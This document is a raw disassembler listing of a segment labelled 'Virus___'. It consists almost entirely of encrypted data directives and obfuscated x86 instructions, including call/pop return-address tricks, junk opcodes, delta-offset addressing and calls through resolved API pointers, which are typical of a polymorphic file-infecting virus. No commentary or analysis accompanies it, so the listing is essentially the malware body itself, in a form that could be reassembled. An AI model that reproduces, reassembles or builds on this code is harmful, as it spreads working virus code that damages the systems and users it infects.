47720000h, 9C2721ABh dd 8B665EA7h, 0B9046AC8h, 218D41A8h, 16E2BF50h, 4897915h dd 4880F24h, 66000000h, 0FF111DBAh, 6092BB95h, 98E1B909h dd 0D88B6520h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0C8C35747h, 948E3B6Bh, 8EDB589h, 0DE9095Dh, 0AF000000h dd 59977769h, 6E9E8BC1h, 9283B2B6h, 12E958h, 0AE6B0000h dd 0C5AE8610h, 0A21538FCh, 68B674A7h, 0FF735770h, 840FDB0Bh dd 2Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h dd 0FEC35747h, 8CC32D70h, 229E9F5h, 80570000h, 0C65937C9h dd 85890000h, 95D323Dh, 90FE8B58h, 0B65046B1h, 0BD8B905Bh dd 95D24C1h, 0BD0B1E6Ah, 95D2105h, 50C88A90h, 1F9AB966h dd 0FE890h, 48EE0000h, 98AD656Ch, 1E71B3E2h, 0CF97A26h dd 95FF5FA9h, 96092BBh, 608D3DBFh, 66D88B68h, 6A58D08Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 4CDDC351h, 2A9AC574h, 0BB0D980h, 5C840FDBh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 603BC352h, 0FE9h, 96850300h, 200EED23h dd 0E5D5333Ch, 0BDA13F6Dh, 0E96146B3h, 16Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 60C35747h, 0EF816653h dd 90593C87h, 0AE5CCBB9h, 71B9504Ch, 90608AFEh, 929BB5FFh dd 6A0960h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0B509F8C3h, 95D2941h, 929F95FFh, 6A0960h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0BC523BC3h, 66606034h, 0C28BD68Bh, 0AE861h, 3F50000h dd 7FD754Eh, 2C214ED7h, 4198D8Bh, 615E095Dh, 850FC00Bh dd 8Eh, 61D0BF0Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0E1C35141h, 7540B26h, 0E78877C4h, 840F6043h dd 6, 15398D89h, 10E8095Dh, 11000000h, 5630D219h, 98930779h dd 3080B518h, 0BAAD3314h, 1DEBB793h, 9D29615Fh, 95D0BD5h dd 92A385C7h, 10960h, 0EA800000h, 61E949h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 89EE7DC3h, 6519531h, 6A61095Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 64F7C351h dd 0C681C6F9h, 11Ch, 0FFFA82E9h, 0DE9FFh, 0D2670000h, 89617AFEh dd 0CBC6FF96h, 68D2F4E2h, 0C446618Ah, 0C0E8BA66h, 76240481h dd 0E83BBA1Eh, 11h, 8B7D9B0Dh, 0A603CDCAh, 0E1F68BBh, 8DB3BE82h dd 618D8B39h, 59095D22h, 6A49E680h, 21958B00h, 0FF095D20h dd 6092ABB5h, 0E1BD2909h, 0FF095D0Bh, 5D206595h, 858BF909h dd 96092A3h, 0E8BA6690h, 0B9515064h, 3ABC3881h, 0EE8905Ah dd 0E9000000h, 33CE18EBh, 5D2E6FCFh, 0BDB0FD34h, 399D893Bh dd 59095D27h, 92B3858Dh, 6A0960h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 9EAED1C3h, 0E361D49Bh dd 0BA66906Dh, 9050CC3Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0E7C35747h dd 0EFB854AEh, 891EABEEh, 5D1AB185h, 70858D09h, 6A096092h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0C16FC352h, 0C8219241h, 0F98B5018h, 6A240489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0A342C357h, 0E195FFAFh, 66095D12h, 1049E981h dd 8B66C08Bh, 35958BCEh, 83095D09h, 5D1809BDh, 9750009h dd 329BD83h, 7400095Dh, 8B535013h, 4D0B8C0h, 9D8D0000h dd 95FA89Ch, 585BD3FFh, 329BD83h, 7400095Dh, 0B8535011h dd 4D0h, 0A79B9D8Dh, 0D3FF095Fh, 6A585Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 418DABC3h dd 35CD9A6h, 5D139DBDh, 6AC08B09h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F10AC350h dd 3CF64B81h, 9E612909h, 2191958Bh, 8958095Dh, 5D20899Dh dd 8C209h, 17860Fh, 12E90000h, 63000000h, 219E946Bh, 0D7A1999Ch dd 0CEC20178h, 4436A995h db 3Ah ; --------------------------------------------------------------------------- loc_5A4FB5: ; CODE XREF: Virus___:loc_5A3DEFj mov eax, eax push 0 push edx call sub_5A4FC2 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A4FC2 proc near ; CODE XREF: Virus___:005A4FBAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5A4FC2 endp ; --------------------------------------------------------------------------- dec eax xchg eax, ebp add ebp, [esi-6D1C7A73h] pusha or [edx+0], ebp loc_5A4FDE: ; CODE XREF: Virus___:005A4FF7j push ecx call sub_5A4FE7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A4FE7 proc near ; CODE XREF: Virus___:005A4FDFp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5A4FE7 endp ; --------------------------------------------------------------------------- jnb short loc_5A4FDE jmp loc_5A5003 ; --------------------------------------------------------------------------- dw 4BE2h db 19h, 84h, 0FEh ; --------------------------------------------------------------------------- loc_5A5003: ; CODE XREF: Virus___:005A4FF9j mov [ebp+95D02F5h], eax jmp loc_5A5083 ; --------------------------------------------------------------------------- pusha mov ax, ds test al, 4 jz loc_5A504F push 1 push dword ptr [ebp+95D08F1h] lea eax, [ebp+9607613h] call eax mov [ebp+95D18F1h], eax mov edi, esi shr edi, 0Ch push 20040000h push 0 push 2 push edi push 1000Dh call dword ptr [ebp+95D18F1h] jmp loc_5A5081 ; --------------------------------------------------------------------------- loc_5A504F: ; CODE XREF: Virus___:005A5014j mov byte ptr [ebp+95D3335h], 56h push 0A9C530DFh push dword ptr [ebp+95D0815h] lea eax, [ebp+9607613h] call eax ; --------------------------------------------------------------------------- db 89h, 85h, 0E9h db 0Bh, 5Dh ; --------------------------------------------------------------------------- loc_5A506E: ; CODE XREF: Virus___:005A50B8j or [ebp+5D20A585h], ecx or [eax+6Ah], edx and [edx+5], ch push esi call dword ptr [ebp+95D0BE9h] loc_5A5081: ; CODE XREF: Virus___:005A504Aj popa retn ; --------------------------------------------------------------------------- loc_5A5083: ; CODE XREF: Virus___:005A5009j shl eax, 6 jmp short loc_5A50C1 ; --------------------------------------------------------------------------- dd 0AC0000h, 0AC02CCh, 0AC02E4h, 0 dd 44B3B36Ch, 75AABF4Bh, 21BBB76Fh, 4CB0B374h, 4DBAF4ECh ; --------------------------------------------------------------------------- loc_5A50AC: ; CODE XREF: Virus___:005A50DBj lodsb ficom dword ptr [eax-6D69DB8Bh] and [esi-52h], edi xchg eax, ecx push ecx jge short loc_5A506E mov cl, [ecx+7Eh] ; --------------------------------------------------------------------------- db 2 dup(0BFh), 45h ; --------------------------------------------------------------------------- push es loc_5A50C1: ; CODE XREF: Virus___:005A5086j mov edx, 325521B4h frstor byte ptr [ecx] sbb edx, 84037FFEh push edi push ebp inc esp ficomp word ptr [edi+65h] adc al, 0DEh enter 1821h, 0DAh cwde ja short loc_5A50AC add esp, edx wait lea ecx, [edi-6Dh] sub eax, 0E155D35Eh push 0C021DED4h cmpsd das xor esp, [edx] jmp near ptr 31385ED3h ; --------------------------------------------------------------------------- dw 158h dd 0A2B83F1Ch, 7CC6D3B1h, 28ABDA0Fh, 22F76780h, 55DED3DCh dd 0AA8D8AD9h, 256762A0h, 0A457DA30h, 2883CAB5h, 8BBF4781h dd 0F221D359h, 9C5D8258h, 2883D9A8h, 71C9AEC0h, 25676233h dd 0A457DA30h, 2883CAB5h, 868E4781h, 0F221D359h, 0BC578258h dd 2883C7C0h, 21DE5ECFh, 0A889DA60h, 7CCA3BA5h, 0E1558411h dd 0C989DA66h, 21DEDA05h, 7E1D8523h, 25FAA608h, 25FA9E41h dd 21DEDA76h, 0FB1D8D77h, 96D15B9Ch, 145B1CDBh, 77D78735h dd 38E7478Ah, 15B6D3DCh, 0A0378D2Ch, 75B8FE54h, 0ADD1AFCFh dd 21DEDA1Eh, 11FF4F0Dh, 9421D35Bh, 2883D216h, 21DD5B8Eh dd 0D45EDAC0h, 325B5776h, 4BD7BA46h, 22368C18h, 1DEDA0Ch dd 0A8801958h, 0A0DAFE77h, 3BDAFEC5h, 67DEDAC0h, 81F81936h dd 49542706h, 0C9EB6BCCh, 21DEDA01h, 3FD81433h, 341B4B2Eh dd 686A122Ch, 0C61F5A6Ah, 4B0E253Eh, 22368F30h, 1DEDA18h dd 0A8831951h, 0A0DAFE6Ah, 38DAFE47h, 64DEDA81h, 0AD8F1995h dd 2EB48C33h, 1D6233B1h, 0D15488A3h, 21B4DE66h, 21DD3253h dd 7CFEDA03h, 4D578742h, 655FDEE4h, 21C7DE44h, 749BDA30h dd 30EA8BDBh, 0C9C0CF70h, 21DEDA02h, 21DECA03h, 303788D1h dd 24DEDAC0h, 98A846A8h, 8C7AE84Fh, 328F6079h, 4BE18AE0h dd 59A5158h, 1F486507h, 21559B0Eh, 0C060BC93h, 655783A6h dd 0EF55DE14h, 70DEB040h, 21DED9E4h, 0E287FA06h, 592535Ah dd 59A5B85h, 21DECFC4h, 0E28F9B60h, 0DB55815Dh, 0DB7F6A70h dd 2F666519h, 155FB9D4h, 0DB7D8627h, 90535394h, 0A8D787CBh dd 7CEC37DDh, 2EDEB039h, 21DED090h, 2557D50Ch, 47DEDA06h dd 0DEF59EBDh, 0DC4B5151h, 0A8D787D2h, 417B82E5h, 70DEB039h dd 21DED9F0h, 0E287FA0Ch, 592535Fh, 59A5B07h, 21DEC385h dd 0E28F9BC0h, 739A540Bh, 945543AFh, 2883E9DDh, 21D85B03h dd 9455DA06h, 2883DA36h, 0EDDB220Ah, 0A8DEDAC2h, 417B86E5h dd 391E5939h, 84BE5F91h, 0E1EDD36Ch, 21DC36BFh, 28742903h dd 7CFC431Ch, 76DEB0C9h, 21DED988h, 0E281FA30h, 5A25347h dd 59A5B08h, 21DEC302h, 0E2899D03h, 0C0F2D667h, 9C55FBD5h dd 2883F181h, 21DEC8D9h, 5EC2BA18h, 0E82E6273h, 9ECB0509h dd 361C5A14h, 0E72A982Ch, 7CEDEF45h, 0AC559969h, 2883C525h dd 0BF01B2E1h, 255FAA3Eh, 1512A522h, 77DEB02Fh, 21DED969h dd 0E280FAC0h, 5AA533Eh, 59A5B34h, 21DEC11Ch, 0E2889C0Ch dd 8CD4D309h, 0B1594834h, 29CB6F7Eh, 21B4D39Dh, 21DD3230h dd 79FEDA30h, 655782DBh, 655FDE28h, 21C3DE22h, 719EDA03h dd 66B64942h, 0E20696A1h, 2E4F7C69h, 0A4530D87h, 28BEAC0Bh dd 93B4785h, 0F121D35Bh, 0C98DDA69h, 21DEDA82h, 7A1D81E0h dd 25FA86E9h, 25FA9EB1h, 21DEDA0Dh, 571D894Fh, 21CC33DAh dd 61A5DA03h, 878A865Eh, 0CE1871F6h, 8FF7B68Ch, 68BA5DD6h dd 2DAB5F91h, 21B4D351h, 21DD3256h, 79FEDA03h, 65578242h dd 655FDEE4h, 21C5DE44h, 719EDA30h, 330DF3DBh, 4D4E11D0h dd 145B534Bh, 0ACD78713h, 7CDAFF04h, 0CF64BCC9h, 705B53B6h dd 4BD78738h, 22368A18h, 1DEDA0Ch, 0A886195Eh, 0A0DAFE47h dd 37DAFEC5h, 61DEDAC0h, 84351930h, 0C05FBCABh, 0A418E200h dd 2883E939h, 74DEB055h, 21DED9EBh, 0E283FA81h, 5B2539Dh dd 59A5B64h, 21DEC334h, 0E28B9F18h, 0E56321AEh, 9EB8F173h dd 0EDB6B6B9h, 97526D9Eh, 5DA5BFDh, 4E24F36Ch, 32757BBh dd 9421D345h, 2883D219h, 0C98EDA6Ch, 21DEDA00h, 791D82A1h dd 25FA9E49h, 25FA9EE1h, 21DEDA25h, 0B91D8A58h, 0E453D19Eh dd 0ACD78734h, 41A8C986h, 0B84B5188h, 0DED787E2h, 74DEB0B0h dd 21DED9D8h, 0E283FA18h, 5B25351h, 59A5B02h, 21DECF07h dd 0E28B9F81h, 0ADD1F11Ah, 21DEDA66h, 2ADB57B9h, 0A457D345h dd 2883CBBDh, 98B572Dh, 0A418D35Eh, 2883E9B4h, 386B5193h dd 0C9D78742h, 21DEDA34h, 0F9C61EABh, 21DC5B03h, 1E6BDA06h dd 59A5153h, 0C567BA85h, 77B834AFh, 0EBEB6406h, 2155BB68h dd 25FA9E91h, 21D5335Fh, 7BDBDA06h, 0A1BF69D1h, 0A97DAFADh dd 4B8684E3h, 22368C60h, 1DEDA30h, 0A8801946h, 0A0DAFE78h dd 3DDAFE42h, 67DEDA03h, 35BA19D7h, 2E5A02B7h, 2EE08400h dd 21DEDCB6h, 88535318h, 0DED78707h, 7CD6CFB3h, 74DEB00Ah dd 21DED969h, 0E283FAC0h, 5B2533Dh, 59A5B34h, 21DEC11Ch dd 0E28B9F0Ch, 4610DEB5h, 5866B4CBh, 57CD5F0Ch, 0F121D3A0h dd 0C98FDA0Ah, 21DEDA33h, 781D8338h, 25FA9685h, 25FA9E87h dd 21DEDA15h, 0AC1D8BC0h, 2D607AE2h, 0ABB8223Bh, 7F2B8CE4h dd 2B9F5F91h, 9CEFD351h, 2883F137h, 12EB5FC5h, 4B99D3DCh dd 223688C0h, 1DEDA60h, 0A884196Ah, 0A0DAFE4Ch, 3ADAFE48h dd 63DEDA06h, 4BBB1951h, 620EAD7Dh, 3037DFD0h, 0FADEDA60h dd 68E4DDEAh, 0FE3001F8h, 0F814F5B6h, 185E2EAEh, 0C2AC3F6Bh dd 0EE55BC1Eh, 0E5FADE41h, 72C9210Ah, 2B9757BBh, 0C880D345h dd 21DEDA07h, 148556DFh, 0B5A0989Ch, 0DEC431A2h, 7CD6CF75h dd 21CD3369h, 5866DA30h, 95A4D999h, 0E27F973Fh, 0F691866h dd 0DB1F1CB6h, 325B5708h, 4BD7BAB6h, 22368860h, 1DEDA30h dd 0A8841942h, 0A0DAFE58h, 38DAFE42h, 63DEDA03h, 0F5D019D3h dd 3812A4EAh, 0DE2F6D6Fh, 70DEB0E0h, 21DED9F0h, 0E287FA0Ch dd 592535Fh, 59A5B07h, 21DEC085h, 0E28F9BC0h, 78B4AAC5h dd 0A8FAEF6Eh, 7CF8939Dh, 5C67BC05h, 145B1CCEh, 66D78730h dd 21DEC968h, 777C10C0h, 5A0B1B9Bh, 0A76A0558h, 0DF12CF42h dd 25AF43C0h, 36F8Fh, 93B6D35Eh, 71FEA011h, 0FDE36492h dd 10D1A4B0h, 2152D561h, 7EDEDA18h, 255F8256h, 40A11222h dd 2E2C5162h, 21DEDA08h, 346B25C0h, 0ACD78768h, 41A8C9B5h dd 71DEB011h, 21DED9E4h, 0E286FA06h, 59A535Bh, 59A5B85h dd 21DEC6C4h, 0E28E9A60h, 4700603Ch, 54A57A19h, 0DF61D594h dd 21B40AF9h, 21DD3253h, 79FEDA81h, 65578203h, 655FDE44h dd 21C4DE14h, 719EDA18h, 2C32A4CFh, 796023Dh, 35F76788h dd 0A457D3DCh, 2883CCADh, 332B47E9h, 0A418D36Dh, 2883E92Dh dd 7660BC4Bh, 21DA324Eh, 1D83DA03h, 9168704Ch, 3B52D590h dd 2EDEDA60h, 21DECEBBh, 21D03218h, 0D1AADA0Ch, 57D9FC33h dd 69B2A7C1h, 539D70ABh, 59A519Eh, 35466064h, 2155F8E7h dd 21C85417h, 2A36DA0Ch, 0ECDEDA06h, 66CE8F84h, 1B3DA298h dd 566161FDh, 7FF775AFh, 25FA9EB9h, 91F5647Eh, 73DEB054h dd 21DED9EEh, 0E284FA03h, 58A53DBh, 59A5BC4h, 21DECF64h dd 0E28C9830h, 0B4D78CC9h, 2883C201h, 29CB6FF9h, 21B4D35Eh dd 21DD32D7h, 7FFEDAC0h, 555784A3h, 655FDE14h, 21C9DE3Ch dd 7798DA0Ch, 11ECE9C5h, 786B5375h, 0ACD7878Bh, 41A8C945h dd 71DEB069h, 21DED9D8h, 0E286FA18h, 59A5354h, 59A5B02h dd 21DEC207h, 0E28E9A81h, 4D03E5B9h, 21DB33C8h, 0C975DA30h dd 0AAEA6AE6h, 7CC62FB1h, 0D053510Fh, 0DED78712h, 1460BC51h dd 245B532Eh, 4BD78763h, 22368B30h, 1DEDA18h, 0A8871955h dd 0A0DAFE4Ah, 36DAFE47h, 60DEDA81h, 0F171991h, 0AC55ECF7h dd 2883C811h, 21B40AE7h, 21DD325Bh, 7EFEDA06h, 5D5785C0h dd 655FDEA5h, 21C2DEE4h, 7699DA60h, 4A1D68F3h, 0F313E92Ch dd 0C8BE0350h, 21DEDA15h, 4EC77EEDh, 0DC573C49h, 7F10C7B3h dd 0B85B96FCh, 0C8AEF4A8h dd 21DEDA0Ch, 0E86247F2h, 5EDA755h, 32A3A9DEh, 77B328B9h dd 22914FDCh, 705B5301h, 4BD78701h, 22368B18h, 1DEDA0Ch dd 0A887195Fh, 0A0DAFE4Fh, 3DDAFEC5h, 60DEDAC0h, 0E80F1931h dd 198DD42Eh, 0C8161FAAh, 21DEDA18h, 96C805BCh, 23212821h dd 0AB25FBB6h, 417B74E6h, 83E967F4h, 4B065656h, 22368F18h dd 1DEDA0Ch, 0A883195Bh, 0A0DAFE6Fh, 35DAFEC5h, 64DEDAC0h dd 0A85C1935h, 7CFCE7ADh, 0F44B5111h, 5D78700h, 77DEB002h dd 21DED9EBh, 0E280FA81h, 5AA539Eh, 59A5B64h, 21DEC034h dd 0E2889C18h, 305426E3h, 2E8DA3FCh, 21DECB82h, 21D23381h dd 0E090DAC0h, 6254DC52h, 0F5DD81A2h, 0AAB8D051h, 2E1ED0C3h dd 21DD2782h, 74DEB003h, 21DED969h, 0E283FAC0h, 5B2533Dh dd 59A5B34h, 21DEC01Ch, 0E28B9F0Ch, 46C09A32h, 9F66FF5Bh dd 6D94CE90h, 12EB5F06h, 4B91D33Dh, 22368F30h, 1DEDA18h dd 0A8831951h, 0A0DAFE6Ah, 36DAFE47h, 64DEDA81h, 6C7E1995h dd 2536AB20h, 0E5DEDA30h, 41615A74h, 0E755885Ch, 836DEB09h dd 0AAB88259h, 478EBB5Bh, 0AA721179h, 98DAFE24h, 44B2A7A0h dd 9FB8DA93h, 6557B3CAh, 0DE86DE22h, 7CD6CFB6h, 69105A88h dd 57CD5F4Dh, 21B4D300h, 21DD3267h, 7EFEDA18h, 5D5785CFh dd 655FDE22h, 21C9DE27h, 7699DA81h, 0CD12D903h, 0B06BD9BBh dd 0DED78703h, 77DEB0C8h, 21DED9E4h, 0E280FA06h, 5AA535Dh dd 59A5B85h, 21DEC0C4h, 0E2889C60h, 0ACFF4BC1h, 0A8AEC3D7h dd 7CCAB799h, 0DF55BC0Fh, 0A0FA1A80h, 8C31BB58h, 8C5B53FFh dd 4BD7876Fh, 22368830h, 1DEDA18h, 0A8841956h, 0A0DAFE52h dd 3BDAFE47h, 63DEDA81h, 4D7F1992h, 0EDC446ECh, 33315B45h dd 0AAEBB0A3h, 7CEF8B89h, 70DEB00Fh, 21DED9EBh, 0E287FA81h dd 5925399h, 59A5B64h, 21DEC334h, 0E28F9B18h, 0C329FD9Eh dd 0BC55266Eh, 2883D906h, 0C98EDAEBh, 21DEDAC3h, 791D8240h dd 25FA9EB9h, 25FA9E99h, 21DEDA18h, 581D8A46h, 7B2D5152h dd 73DEB0C2h, 21DED928h, 0E284FA60h, 58A536Ah, 59A5B1Ch dd 21DEC108h, 0E28C9806h, 34C0E497h, 0BDDA33E9h, 222565CFh dd 7CC443EDh, 4261BC39h, 47C55173h, 0D889DAB5h, 21B4C18Dh dd 21DD3252h, 78FEDA81h, 6D578303h, 655FDE44h, 21C9DE14h dd 709FDA18h, 72AE7ECFh, 4BC551BCh, 22368F03h, 1DEDA81h dd 0A883199Dh, 0A0DAFE0Ch, 3BDAFE74h, 64DEDA18h, 6A731959h dd 894F9CB4h, 0B7612FFFh, 12BDCF19h, 74DEB018h, 21DED988h dd 0E283FA30h, 5B25345h, 59A5B08h, 21DEC202h, 0E28B9F03h dd 43DBB4BEh, 2959D50Fh, 73DEDA60h, 1F757BBh, 0A884D345h dd 7CF9BF91h, 0EB55BC0Fh, 12EB5FC5h, 4B99D3DCh, 22368AC0h dd 1DEDA60h, 0A8861968h, 0A0DAFE5Ch, 3CDAFE48h, 61DEDA06h dd 0BBE91953h, 67BAF4C5h, 79B07223h, 290F574Bh, 0A18FD36Dh dd 0C98749FEh, 21DEDA08h, 960007AFh, 21DECBEBh, 0F495C481h dd 2F6CF98Dh, 0F7ECAB1Fh, 17DEEEEAh, 98B83E85h, 7180B2D5h dd 7E265155h, 25FA9E88h, 21DA528Eh, 4189DAC0h, 21558401h dd 91518F8Fh, 59A5319h, 21B48208h, 21DD3251h, 7EFEDA03h dd 5D578542h, 655FDEE4h, 21C4DE44h, 7699DA30h, 0C90379DBh dd 0F124A4BCh, 0E00A24BCh, 21CA332Eh, 9139DA81h, 7A492387h dd 66C31836h, 794D1DACh, 7E03699h, 9421C416h, 2883D213h dd 0ADD12D88h, 21DEDA87h, 267F67F1h, 0A453D33Dh, 28BEAC23h dd 0C98EDA72h, 21DEDA0Fh, 791D8226h, 25FA9E8Ah, 25FA9E00h dd 21DEDAD4h, 971D8A20h, 35DF67B9h, 0F121D345h, 2ADB6F87h dd 0A457D35Bh, 2883FC4Ah, 0C98FDAEBh, 21DEDAC3h, 781D8340h dd 25FA96B9h, 25FA9E99h, 21DEDA1Ah, 0EF1D8B47h, 9EB8A4A2h dd 0B4F79D52h, 2883EA89h, 71DEB020h, 21DED9D8h, 0E286FA18h dd 59A5354h, 59A5B02h, 21DEC007h, 0E28E9A81h, 0F647102Fh dd 0C9260C00h, 21DEDA3Dh, 0DE592D2Ah, 0FDC3938Dh, 0D3EDF95Ah dd 0DC6B5385h, 7ED78783h, 0AF57E9h, 2155D33Dh, 0C98CDA5Ah dd 21DEDA1Bh, 7B1D802Ch, 25FA8E8Fh, 25FA9E82h, 21DEDA9Ah dd 0FF1D8882h, 8520AE8Fh, 0AA6C2C19h, 2E245118h, 21DEDC81h dd 28635306h, 0A8D7872Ah, 7CDDBB04h, 74DEB0C9h, 21DED988h dd 0E283FA30h, 5B25345h, 59A5B08h, 21DEC602h, 0E28B9F03h dd 0B2D281E4h, 6EA94B8Fh, 3E075BB5h, 0C8934C4Bh, 21DEDB51h dd 3176785h, 0A453D35Bh, 28BE7F7Dh, 0C98FDAEBh, 21DEDAC3h dd 781D8340h, 25FA96B9h, 25FA9E99h, 21DEDA1Bh, 251D8B47h dd 0B11FA05Dh, 0F5A73F3Bh, 4B4E8AC8h, 22368860h, 1DEDA30h dd 0A8841942h, 0A0DAFE58h, 3DDAFE42h, 63DEDA03h, 7A19D3h dd 97FE526Ah, 0AA2D74ECh, 7CFC538Dh, 684B2511h, 4BD78707h dd 22368B06h, 1DEDA03h, 0A88719D8h, 0A0DAFE8Ch, 3ADAFE24h dd 60DEDA30h, 42151949h, 8FA467E5h, 0AC57CEB7h, 2883CEAEh dd 845A470Ch, 0B455D3A0h, 2883C075h, 266EBAA3h, 2B368848h dd 0DADEDA0Ch, 0BC2DFD58h, 1516F71Ch, 10D1813Fh, 21DE5ACFh dd 7984DA60h, 2E368A51h, 6DEDA18h, 8D43F4A3h, 0C6D55DD5h dd 3334A82Fh, 2437952Ch, 0BDDEDAC0h, 0AB58BE0Eh, 9457496Eh dd 2883D255h, 0A7D1BA9Ch, 21DEDA04h, 0AAB8BB63h, 478EBB7Ah dd 84E154Bh, 7CF6F7FDh, 304B2539h, 4BD78732h, 2236890Ch dd 1DEDA06h, 0A8851958h, 0A0DAFEDDh, 3BDAFE84h, 62DEDA60h dd 6BB61963h, 1AD33666h, 3755D5D4h, 0C8DEDA06h, 21DEDA12h dd 527E5392h, 0F7554316h, 0A3258321h, 0B764CE19h, 8C5B53B2h dd 0A8D78703h, 7CD9DFBBh, 145B1C0Ah, 72D787B2h, 21DED028h dd 69695660h, 0D2E4FBFh, 41EBD8DDh, 0B0B4707h, 0BC57D35Bh dd 2883FDBEh, 0A0B680E0h, 47400E2Fh, 0A0C12DDFh, 0B520FE34h dd 2467D1AAh, 0DECE91BAh, 7CD6CFB3h, 72DEB00Ah, 21DED969h dd 0E285FAC0h, 582533Bh, 59A5B34h, 21DEC01Ch, 0E28D990Ch dd 0EC02663Ch, 471C51F6h, 0AAD1140Ah, 21DEDAD8h, 21DEC989h dd 1D0DC930h, 6B55EECh, 3565F87Ah, 4238D89Ah, 3B73A5D9h dd 57CD5F0Ch, 10BED3A0h, 7CD14FE5h, 21D83239h, 0E1E3DA18h dd 0CBB0505Fh, 0D7D96360h, 0F121BB5Bh, 0C98FDAEBh, 21DEDAC3h dd 781D8340h, 25FA96B9h, 25FA9E99h, 21DEDA11h, 591D8B47h dd 0B22449AAh, 9E0C749Ch, 0CC43F3CAh, 0A8D78741h, 7CCA13B5h dd 72DEB011h, 21DED9E4h, 0E285FA06h, 5825358h, 59A5B85h dd 21DECDC4h, 0E28D9960h, 20CA34BEh, 3EB4F33h, 3536D351h dd 4DEDA06h, 26B10496h, 0BA9E0D78h, 0FFD09966h, 9952B2F2h dd 0A83AC647h, 7CC44BADh, 0C88E8305h, 21DEDA15h, 726E6910h dd 74BA897Bh, 0C4CB979Fh, 6F6EC2CDh, 7F582394h, 12EB5FDEh dd 4B99D351h, 22368906h, 1DEDA03h, 0A88519DAh, 0A0DAFE9Ch dd 3BDAFE24h, 62DEDA30h, 0E7F8194Bh, 8ACBE9F0h, 0BC4353D9h dd 49D7872Bh, 0F296C5Bh, 97FADE41h, 0A8ACA03Eh, 7CC1D3B5h dd 346B2511h, 10D78704h, 7CCAB393h, 0FC53510Ah, 0ACD787A1h dd 41A8C945h, 72DEB069h, 21DED9D8h, 0E285FA18h, 5825357h dd 59A5B02h, 21DEC007h, 0E28D9981h, 0F2E844A3h, 0A86A3291h dd 7CCA17B5h, 0B85B5311h, 47D7871Bh, 0F1212A8Dh, 36D76788h dd 0A457D3DCh, 2883DF3Dh, 0C98DDA0Ah, 21DEDA33h, 7A1D8138h dd 25FA8685h, 25FA9E87h, 21DEDA1Ah, 481D89C2h, 0FB6AEB1h dd 384B5160h, 0E7D7872Fh dd 7CEDEF9Dh, 21B48905h, 21DD3255h, 7AFEDA03h, 7D578142h dd 655FDEE4h, 21C4DE44h, 729DDA30h, 69222FDBh, 33B32CD6h dd 21D85E09h, 9CEDDA03h, 2883CB70h, 0CE9F5CA8h, 3053D5F5h dd 71DEDA30h, 21DED0F1h, 9216280Ch, 0D40C2651h, 7F068539h dd 2BFADE00h, 4BDD90DEh, 22368860h, 1DEDA30h, 0A8841942h dd 0A0DAFE58h, 3CDAFE42h, 63DEDA03h, 0C85F19D3h, 0CA193ED3h dd 5395372Eh, 29CB6FCFh, 0D05FD345h, 5F88082Eh, 57CD5F8Bh dd 2936D363h, 30DEDA81h, 59FEB011h, 0C8DA1130h, 21DEDA3Bh dd 0B04CCB0Ah, 9745AAD0h, 782862A3h, 0A4570AFCh, 2883D238h dd 3875F49h, 3236D33Dh, 70DEDA30h, 29750A77h, 0C5988504h dd 42481FCEh, 85821509h, 7F260C26h, 12EB5F06h, 4B89D33Dh dd 22368830h, 1DEDA18h, 0A8841956h, 0A0DAFE52h, 3BDAFE47h dd 63DEDA81h, 35051992h, 1F7FD41Ch, 0A0B8BAB1h, 4727ABF3h dd 0C2091C8Dh, 9CF6B267h, 255FE997h, 4E4A04A5h, 70DEB09Ch dd 21DED988h, 0E287FA30h, 5925341h, 59A5B08h, 21DEC602h dd 0E28F9B03h, 0B7119D7h, 4CA8E247h, 53C364F2h, 0EB55CF40h dd 29CB6FE7h, 21B4D351h, 21DD3250h, 7FFEDA03h, 55578442h dd 655FDEE4h, 21C4DE44h, 7798DA30h, 128B8ADBh, 33BE2990h dd 21DEC9EEh, 0D1140E03h, 0AF134DCAh, 0DE1119F6h, 0D8BBDA79h dd 0CAC7B255h, 9C5585E4h, 2883CEDDh, 57CD5F8Bh, 21B4D363h dd 21DD32D7h, 7FFEDAC0h, 555784A3h, 655FDE14h, 21C2DE3Ch dd 7798DA0Ch, 4947AFC5h, 0F16335DEh, 9CEDF548h, 2883D9A5h dd 21DC5D6Fh, 0D355DA30h, 21B40AE7h, 21DD3259h, 7CFEDA06h dd 4D5787C0h, 655FDEA5h, 21CADEE4h, 749BDA60h, 0A4574BF3h dd 2883D99Dh, 12EB5FCAh, 0C89DD35Bh, 21DEDA0Eh, 4D8FE729h dd 258E11DCh, 0BA4A8C75h, 1335B2AAh, 536F419Ch, 1CFADE8Dh dd 0D4FFD63Bh, 29CB6FFCh, 21B4D3DCh, 21DD3291h, 78FEDA60h dd 6D5783F3h, 655FDE3Ch, 21C4DE28h, 709FDA06h, 61D430C0h dd 0BABD0715h, 0FB3865A6h, 57CD5FEDh, 21B4D350h, 21DD324Ah dd 7BFEDA0Ch, 755780C5h, 655FDE27h, 21C3DEA5h, 739CDAC0h dd 1F022DA3h, 